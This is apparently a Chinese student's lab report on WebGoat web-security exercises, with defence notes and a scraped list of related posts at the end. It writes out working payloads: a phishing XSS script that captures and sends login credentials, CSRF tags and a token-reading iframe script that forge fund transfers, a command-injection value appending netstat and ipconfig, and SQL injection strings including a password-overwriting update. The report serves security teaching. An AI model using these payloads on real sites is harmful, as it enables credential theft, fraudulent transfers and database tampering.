# 2017-2018-2 20155319《网络对抗技术》Exp9 :Web安全基础
2017-2018-2 20155319《网络对抗技术》Exp9 :Web安全基础
实践过程
webgoat准备
- 从GitHub上下载jar包(老师的虚拟机中有 无需下载)
- 拷贝到本地,并使用命令
java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现INFO: Starting ProtocolHandler ["http-bio-8080"]则开启成功,可以看到占用8080端口. - 打开浏览器输入
127.0.0.1:8080/WebGoat,使用默认名和密码登录 - 在Webgoat中,solution是答案,hints是提示。
(一)XSS攻击
Phishing with XSS
使用XSS和HTML插入,您的目标是:
将html插入该请求凭据,添加javascript以实际收集凭据,将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要通过本课程,凭证必须发布到捕获者servlet。
- 输入一段简单的代码来实现:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.form.user.value + "&password=" + document.form.pass.value + "";
alert(".....your information was stolen by rhl! User Name = " + document.form.user.value + " Password = " + document.form.pass.value);
}
</script>
<form name="form">
<br>
<br>
<HR>
<H2>Welcome</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:


- 攻击成功!
Stored XSS Attacks
储存型XSS攻击:XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容

先在title里随便输入某些内容
然后在message中输入一串代码
<script>alert(" you have been attacked by rhl !");</script>

Reflected XSS Attacks
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
在服务器端验证所有输入始终是一个很好的做法。当在HTTP响应中使用未经验证的用户输入时,可能发生XSS。在一个反射的XSS攻击中,攻击者可以用攻击脚本制作URL并将其张贴到另一个网站上,发送电子邮件,或者以其他方式让受害者点击它。
- 当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:
- 这时如果我们将带有攻击性的URL作为输入源,同上输入
<script>alert("This website is not safe");</script>

(二)CSRF攻击
跨站脚本攻击:Cross Site Request Forgery
您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。您可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。
- 我们在message框中输入这样一串代码
<img src='attack?Screen=277&menu=900&transferFunds=5000' width='1' height='1'>
注意这里面的Screen和menu的值每个人的电脑可能不一样,可以在当前页面的底端查看。


XSS提升:CSRF Prompt By-Pass
目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求被触发的提示。URL应该指向这个CSRF提示的攻击servlet,通过PASS课程的屏幕、菜单参数和一个额外的参数“TrimeBoover”,它具有一个数字值,比如“5000”来启动一个传输,一个字符串值“确认”完成它。您可以从右边的插图复制该课程的参数,创建“攻击”格式的URL。屏幕= xxx和菜单= yyy和转移资金= ZZZ”。无论谁收到这封电子邮件,恰巧在那时被认证,他的资金将被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查
- 和上一个实验类似,多了一个确认的按钮
- 输入代码
<img src="attack?Screen=272&menu=900&transferFunds=10000">
<img src="attack?Screen=272&menu=900&transferFunds=confirm" >

- 攻击成功

CSRF令牌攻击:CSRF Token By-Pass
类似于CSRF课程,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您需要获取有效的请求令牌。提供转账资金表单的页面包含一个有效的请求令牌。转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds=main”的“攻击”servlet。加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。
- 在前面实验的基础上,使用令牌传输数据
- 输入代码
<script>
var readToken = function(){
var doc = document.getElementById("frame1").contentDocument
var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
alert(token);
var frame2 = document.getElementById("frame2");
frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token;
}
</script>
<iframe id="frame2" ></iframe>
<iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>

(三)SQL注入攻击
SQL注入攻击对任何数据库驱动的站点都构成严重威胁。攻击背后的方法很容易学习,造成的损害可以从相当大到完全的系统妥协。尽管存在这些风险,但互联网上令人难以置信的系统数量易受这种攻击形式的影响。对所有输入数据进行清理,尤其是在OS命令、脚本和数据库查询中使用的数据,以某种其他方式阻止SQL注入的威胁,也是很好的做法。
Command Injection
在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,右键BackDoors.help,选
inspect element显示源代码& netstat -an & ipconfig

选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况

数字型注入:Numeric SQL Injection
题目要求:下面的表单允许用户查看天气数据。尝试注入导致所有天气数据显示的SQL字符串。现在,您已经成功执行SQL注入,尝试对参数化查询进行相同类型的攻击。
加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1:

选中Columbia,点Go,出现所有城市的天气:

日志欺骗:Log Spoofing
- 顾名思义,就是添加假的日志信息来迷惑操作系统,目的是让用户名“admin”成功登录。
- 在User Name输入
rhl%0d%0aLogin Succeeded for username: admin,%0d是空格,%0a是换行 - 点击登录出现两行,一行提示rhl登录失败,另一行提示admin登录成功,这些信息就会被保存到日志里了。


字符串注入:String SQL Injection
- 这里和之前一样,基于select语句构造SQL注入字符串,在文本框中输入
' or 1=1 -- - 第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。将一条语句被强行拆分成为两条语句。
- 点Go,攻击成功

LAB:SQL Injection(Stage 1:String SQL Injection)
以用户larry登录,在密码栏中输入
' or 1=1 --查看网页代码后发现这里设定的长度不够。然后进行修改:

成功~

SQL Injection(Stage 3:Numeric SQL Injection)
跟之前是一样的方法,然后点击ViewProfile可以浏览员工信息:

使用inspect分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为
101 or 1=1 order by salary desc --

可以查看到老板的信息:

Database Backdoors
- 先输一个101,得到了该用户的信息
- 输入注入语句:
101; update employee set Password=000

遇到问题
q:

- 点击restart即可。可能是加载题目问题,具体不太清楚...
实验问题回答
- SQL注入攻击原理,如何防御
- 程序对用户输入数据的合法性没有判断就直接插入查询语句,攻击者就可以添加额外的SQL语句或使用注释字符得到额外的信息
- 对输入的字符串进行处理,筛除特殊字符
- 普通用户与系统管理员用户的权限要有严格的区分
- XSS攻击的原理,如何防御
- 表单提交的时候进行特殊字符的检测
- 对输入框做长度限制
- 在后台对数据进行过滤
- CSRF攻击原理,如何防御
- CSRF是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。一般存在XSS漏洞的网站,也极有可能存在CSRF漏洞。
- 使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。
- 将提交方法改为post
- 定期清理cookie
实验感受
最后一次实验,做完特别有感觉。每个实验联系过程都很有趣,想要深入的研究一下,希望以后有时间可以把上面的题目都做一遍!也遇到了很多问题,这个软件都是英文版本,所以用起来很费劲,实在不行就只能百度翻译了...
# 2017-2018-2 20155319《网络对抗技术》Exp9 :Web安全基础的更多相关文章
- 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践
20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...
- 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础
2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- #20155232《网络对抗》Exp9 Web安全基础
20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...
- 20155302《网络对抗》Exp9 Web安全基础
20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...
- 20155308《网络对抗》Exp9 Web安全基础实践
20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...
- 20155323刘威良《网络对抗》Exp9 Web安全基础
20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...
- 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
随机推荐
- LeetCode题解之Univalued Binary Tree
1.题目描述 2.问题分析 遍历一遍树,然后将所有节点的数值放入到一个set中,最后检查set中元素的个数是否为1. 3.代码 bool isUnivalTree(TreeNode* root) { ...
- PHP检查当前数组为几维数组
本文出至:新太潮流网络博客 /** * [TestArray 检测数组是一维还是二维] * @E-mial wuliqiang_aa@163.com * @TIME 2017-04-07 * @WEB ...
- 【SPL标准库专题(6)】 Datastructures:SplPriorityQueue
普通的队列是一种先进先出的数据结构,元素在队列尾追加,而从队列头取出.在优先队列中,元素被赋予优先级.当访问元素时,具有最高优先级的元素最先取出.优先队列具有最高级先出 (largest-in,fir ...
- Window10 Linux子系统挂载磁盘
默认情况下, Linux子系统将当前winodws磁盘的盘全部挂载到/mnt/<disk_label>, 但一些新增的盘就需要手动做下了.. 官方参考文档 挂载磁盘 -- DrvFs 挂载 ...
- [Spark Core] Spark Client Job 提交三级调度框架
0. 说明 官方文档 Job Scheduling Spark 调度核心组件: DagScheduler TaskScheduler BackendScheduler 1. DagSchedule ...
- CheckTimeWait.bat实现windows下的TimeWait检查
原文链接: http://www.lookdaima.com/WebForms/WebPages/Blanks/Pm/Docs/DocItemDetail.aspx?id=c7bff196-cd9c- ...
- python使用mechanize模拟登陆新浪邮箱
mechanize相关知识准备: mechanize.Browser()<br># 设置是否处理HTML http-equiv标头 set_handle_equiv(True)<br ...
- Docker容器学习与分享06
Docker容器网络 Docker有三种原生网络:none网络.host网络.bridge网络. 先来学习一下bridge网络. 首先使用ifconfig命令查看一下本机的网络设备: 从图中可以看见多 ...
- Hash Tables
哈希表 红黑树实现的符号表可以保证对数级别的性能,但我们可以做得更好.哈希表实现的符号表提供了新的数据访问方式,插入和搜索操作可以在常数时间内完成(不支持和顺序有关的操作).所以,在很多情况下的简单符 ...
- Alpha冲刺报告(8/12)(麻瓜制造者)
今日已完成 邓弘立: 完成了对主页UI控件的更新 符天愉: 没有完成留言模块,只是完成了留言的查询并且将留言多级回复格式化,同时和队友一起部署了商品发布的接口 江郑: 经过了这几天的编码,需求方面的数 ...